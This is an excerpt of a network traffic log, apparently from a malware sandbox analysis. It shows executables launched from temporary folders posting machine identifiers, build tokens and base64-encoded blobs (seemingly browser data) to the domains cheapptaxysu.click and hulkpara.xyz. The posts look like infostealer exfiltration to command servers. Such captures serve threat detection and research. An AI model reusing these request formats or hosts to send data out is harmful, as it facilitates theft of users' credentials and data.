2024-12-19 15:11:03 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 68 32 31 68 66 4d 65 6f 69 45 65 33 61 72 4d 76 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 36 35 37 61 35 36 62 38 31 30 62 63 31 33 65 34 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 63 45 6d 76 44 79 6c 75 56 74 48 71 4d 42 47 62 77 30 65 73 52 76 56 55 35 36 49 30 4c 53 32 78 30 77 38 33 5a 45 77 4a 4d 4a 63 7a 63 31 59 4d 66 47 44 49 7a 31 66 76 64 71 47 33 2f 53 65 37 68 58 4b 67 31 45 32 6b 41 52 44 75 50 79 6b 72 4d 48 76 63 58 49 61 42 43 56 70 52 45 50 74 79 31 67 36 54 67 34 75 54 43 30 69 75 41 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: h21hfMeoiEe3arMv.2Context: 657a56b810bc13e4<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAcEmvDyluVtHqMBGbw0esRvVU56I0LS2x0w83ZEwJMJczc1YMfGDIz1fvdqG3/Se7hXKg1E2kARDuPykrMHvcXIaBCVpREPty1g6Tg4uTC0iuA
2024-12-19 15:11:03 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 68 32 31 68 66 4d 65 6f 69 45 65 33 61 72 4d 76 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 36 35 37 61 35 36 62 38 31 30 62 63 31 33 65 34 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: h21hfMeoiEe3arMv.3Context: 657a56b810bc13e4<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-12-19 15:11:03 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-12-19 15:11:03 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 52 31 35 64 6e 37 58 44 4e 55 43 62 34 46 68 67 53 79 5a 63 31 41 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: R15dn7XDNUCb4FhgSyZc1A.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.6	50020	172.67.177.88	443	6696	C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 15:11:03 UTC	372	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=RSEWU2P8UBJVUAEVH Cookie: __cf_mw_byp=gIsI15dzdszQwm_l7y4xe27ztvkMZ45Pqh2aogBSwSc-1734621055-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15094 Host: cheapptaxysu.click
2024-12-19 15:11:03 UTC	15094	OUT	Data Raw: 2d 2d 52 53 45 57 55 32 50 38 55 42 4a 56 55 41 45 56 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 33 44 30 35 45 31 37 33 46 42 32 44 42 35 35 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 52 53 45 57 55 32 50 38 55 42 4a 56 55 41 45 56 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 52 53 45 57 55 32 50 38 55 42 4a 56 55 41 45 56 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 43 5a 4a 76 73 73 2d 2d 0d 0a 2d 2d 52 53 45 57 Data Ascii: --RSEWU2P8UBJVUAEVHContent-Disposition: form-data; name="hwid"83D05E173FB2DB55AC8923850305D13E--RSEWU2P8UBJVUAEVHContent-Disposition: form-data; name="pid"2--RSEWU2P8UBJVUAEVHContent-Disposition: form-data; name="lid"CZJvss----RSEW
2024-12-19 15:11:03 UTC	1133	IN	HTTP/1.1 200 OK Date: Thu, 19 Dec 2024 15:11:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=e2nnihvb8ss0ms85a8amlr7i07; expires=Mon, 14 Apr 2025 08:57:42 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=JQ6manKhizAoo2hznyyXC71v8pcrbb1Zb%2FDxnzuJPlmmryXhzJmmiPM1IQCfJmrLMPVpSsFbOApY2KYyo74WqnFI49BPgu3%2F%2BYSn53KwKfVBPTHSP8CR5HeemiWTrh%2FIYY9A9wo%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4852ad3e0942c9-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1779&min_rtt=1779&rtt_var=667&sent=14&recv=18&lost=0&retrans=0&sent_bytes=2843&recv_bytes=16124&delivery_rate=1640449&cwnd=127&unsent_bytes=0&cid=18d5269b670fe0b7&ts=865&x=0"
2024-12-19 15:11:03 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-19 15:11:03 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.6	50023	94.130.191.168	443	6756	C:\aqhnzja\20eec459fe6c4c019b42190414a26a1f.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 15:11:04 UTC	327	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----RQIEU3EUA1N7YM7GV37Q User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/116.0.0.0 Host: hulkpara.xyz Content-Length: 142457 Connection: Keep-Alive Cache-Control: no-cache
2024-12-19 15:11:04 UTC	16355	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 52 51 49 45 55 33 45 55 41 31 4e 37 59 4d 37 47 56 33 37 51 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 38 61 39 65 31 36 63 30 38 66 39 37 63 37 61 32 30 66 39 63 36 36 62 62 38 66 66 62 34 64 34 0d 0a 2d 2d 2d 2d 2d 2d 52 51 49 45 55 33 45 55 41 31 4e 37 59 4d 37 47 56 33 37 51 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 64 33 65 34 32 36 62 33 31 39 65 37 38 66 38 39 65 36 36 64 31 61 63 62 37 36 37 36 64 30 39 33 0d 0a 2d 2d 2d 2d 2d 2d 52 51 49 45 55 33 45 55 41 31 4e 37 59 4d 37 47 56 33 37 51 0d 0a 43 6f 6e 74 Data Ascii: ------RQIEU3EUA1N7YM7GV37QContent-Disposition: form-data; name="token"48a9e16c08f97c7a20f9c66bb8ffb4d4------RQIEU3EUA1N7YM7GV37QContent-Disposition: form-data; name="build_id"d3e426b319e78f89e66d1acb7676d093------RQIEU3EUA1N7YM7GV37QCont
2024-12-19 15:11:04 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-19 15:11:04 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-19 15:11:04 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-19 15:11:04 UTC	16355	OUT	Data Raw: 76 62 6e 52 68 59 33 52 66 61 57 35 6d 62 79 41 6f 5a 33 56 70 5a 43 42 57 51 56 4a 44 53 45 46 53 49 46 42 53 53 55 31 42 55 6c 6b 67 53 30 56 5a 4c 43 42 31 63 32 56 66 59 32 39 31 62 6e 51 67 53 55 35 55 52 55 64 46 55 69 42 4f 54 31 51 67 54 6c 56 4d 54 43 42 45 52 55 5a 42 56 55 78 55 49 44 41 73 49 48 56 7a 5a 56 39 6b 59 58 52 6c 49 45 6c 4f 56 45 56 48 52 56 49 67 54 6b 39 55 49 45 35 56 54 45 77 67 52 45 56 47 51 56 56 4d 56 43 41 77 4c 43 42 6b 59 58 52 6c 58 32 31 76 5a 47 6c 6d 61 57 56 6b 49 45 6c 4f 56 45 56 48 52 56 49 67 54 6b 39 55 49 45 35 56 54 45 77 67 52 45 56 47 51 56 56 4d 56 43 41 77 4c 43 42 73 59 57 35 6e 64 57 46 6e 5a 56 39 6a 62 32 52 6c 49 46 5a 42 55 6b 4e 49 51 56 49 73 49 47 78 68 59 6d 56 73 49 46 5a 42 55 6b 4e 49 51 56 Data Ascii: vbnRhY3RfaW5mbyAoZ3VpZCBWQVJDSEFSIFBSSU1BUlkgS0VZLCB1c2VfY291bnQgSU5URUdFUiBOT1QgTlVMTCBERUZBVUxUIDAsIHVzZV9kYXRlIElOVEVHRVIgTk9UIE5VTEwgREVGQVVMVCAwLCBkYXRlX21vZGlmaWVkIElOVEVHRVIgTk9UIE5VTEwgREVGQVVMVCAwLCBsYW5ndWFnZV9jb2RlIFZBUkNIQVIsIGxhYmVsIFZBUkNIQV
2024-12-19 15:11:04 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-19 15:11:04 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-19 15:11:04 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-19 15:11:04 UTC	11617	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-19 15:11:06 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 19 Dec 2024 15:11:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-12-19 15:11:06 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.6	50029	172.67.177.88	443	6696	C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 15:11:05 UTC	367	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=4QO2TB4A93ZH Cookie: __cf_mw_byp=gIsI15dzdszQwm_l7y4xe27ztvkMZ45Pqh2aogBSwSc-1734621055-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 19922 Host: cheapptaxysu.click
2024-12-19 15:11:05 UTC	15331	OUT	Data Raw: 2d 2d 34 51 4f 32 54 42 34 41 39 33 5a 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 33 44 30 35 45 31 37 33 46 42 32 44 42 35 35 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 34 51 4f 32 54 42 34 41 39 33 5a 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 34 51 4f 32 54 42 34 41 39 33 5a 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 43 5a 4a 76 73 73 2d 2d 0d 0a 2d 2d 34 51 4f 32 54 42 34 41 39 33 5a 48 0d 0a 43 6f 6e 74 65 Data Ascii: --4QO2TB4A93ZHContent-Disposition: form-data; name="hwid"83D05E173FB2DB55AC8923850305D13E--4QO2TB4A93ZHContent-Disposition: form-data; name="pid"3--4QO2TB4A93ZHContent-Disposition: form-data; name="lid"CZJvss----4QO2TB4A93ZHConte
2024-12-19 15:11:05 UTC	4591	OUT	Data Raw: 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8b 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8d 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 b1 e8 ef fa 6f c5 82 3f 0c fe 4d 70 35 98 09 ee b9 f1 d3 1b 7f 70 e3 5f de a8 de f8 f4 8d d8 f5 6f 86 49 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: ?2+?2+?o?Mp5p_oI
2024-12-19 15:11:06 UTC	1132	IN	HTTP/1.1 200 OK Date: Thu, 19 Dec 2024 15:11:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=r6v86s2p3gnuvm364rlu76t6s9; expires=Mon, 14 Apr 2025 08:57:45 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5DsS9HOU8Y6Nu4jwm%2BR93wDD11Y0ZmeakkShd0JrTrZDyNyC6knPndBhMEV5jpC7QAbkK1dSKIrh2QYsplXuBBHsgNrUX4cyb6eG%2FbpwGTkGAUE7qGLVsVL0fUuuvY7A%2FFNEAJE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4852be48b232e4-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1865&min_rtt=1785&rtt_var=830&sent=18&recv=26&lost=0&retrans=0&sent_bytes=2842&recv_bytes=20969&delivery_rate=1203131&cwnd=162&unsent_bytes=0&cid=cc77142abefd6b11&ts=1254&x=0"
2024-12-19 15:11:06 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-19 15:11:06 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.6	50028	94.130.191.168	443	6756	C:\aqhnzja\20eec459fe6c4c019b42190414a26a1f.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 15:11:05 UTC	324	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----16FUSJEUA1NYMYCBSR1V User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/116.0.0.0 Host: hulkpara.xyz Content-Length: 493 Connection: Keep-Alive Cache-Control: no-cache
